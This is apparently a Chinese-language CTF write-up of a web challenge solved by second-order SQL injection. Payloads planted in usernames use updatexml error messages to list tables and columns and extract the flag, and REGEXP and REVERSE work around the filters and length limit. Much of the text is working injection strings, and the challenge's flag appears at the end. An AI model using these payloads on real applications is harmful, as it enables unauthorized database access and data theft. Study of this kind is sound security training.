访问页面,有login
和register
两个选项;
那当然是register
啊,先fuzz测试一下有哪些字符进了黑名单;
200
是被ban的,302
是没有被ban 的;
可以看到"
和\
都没有被过滤;
先注册完进去看看里面有什么内容;
登录进去后,可以看到这样的界面;
点击账号,发现有个修改密码的功能,严重怀疑是注入点;
注册一个账户k1ose"
,在修改密码的时候有报错;
可以看到是双引号字符型;
猜测这里的SQL语句应该是:
.... where username = "name" and pwd = 'xxx'
那么可以二次注入,创建账号,然后在修改密码处用报错的方法获取信息;
这里用updatexml
;
注册一个账户名:
k1ose"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
改密码触发报错,表flag出现了:
接着深挖;
k1ose"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1))#
得到字段名;
k1ose"||(updatexml(1,concat(0x3a,(select(flag)from(flag))),1))#
结果没有在flag表中…
出现信息不全是因为只能显示前32位字符;
现在去看看users
表;
k1ose"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#
看来应该实在real_flag_1s_here
中;
k1ose"||(updatexml(1,concat(0x3a,(select(group_concat(name,0x2b,pwd,0x2b,email,0x2b,real_flag_1s_here))from(users))),1))#
显然这是不可能显示得出flag的;
但是难受的是left、right、mid也被过滤了,只能另寻他法;
k1ose"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
这里直接用正则表达式;
爆出flag的一部分;
剩下的逆序输出;
k1ose"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
得到flag;
flag{42c2c79e-7900-4b06-8d69-3bba6e6043fb}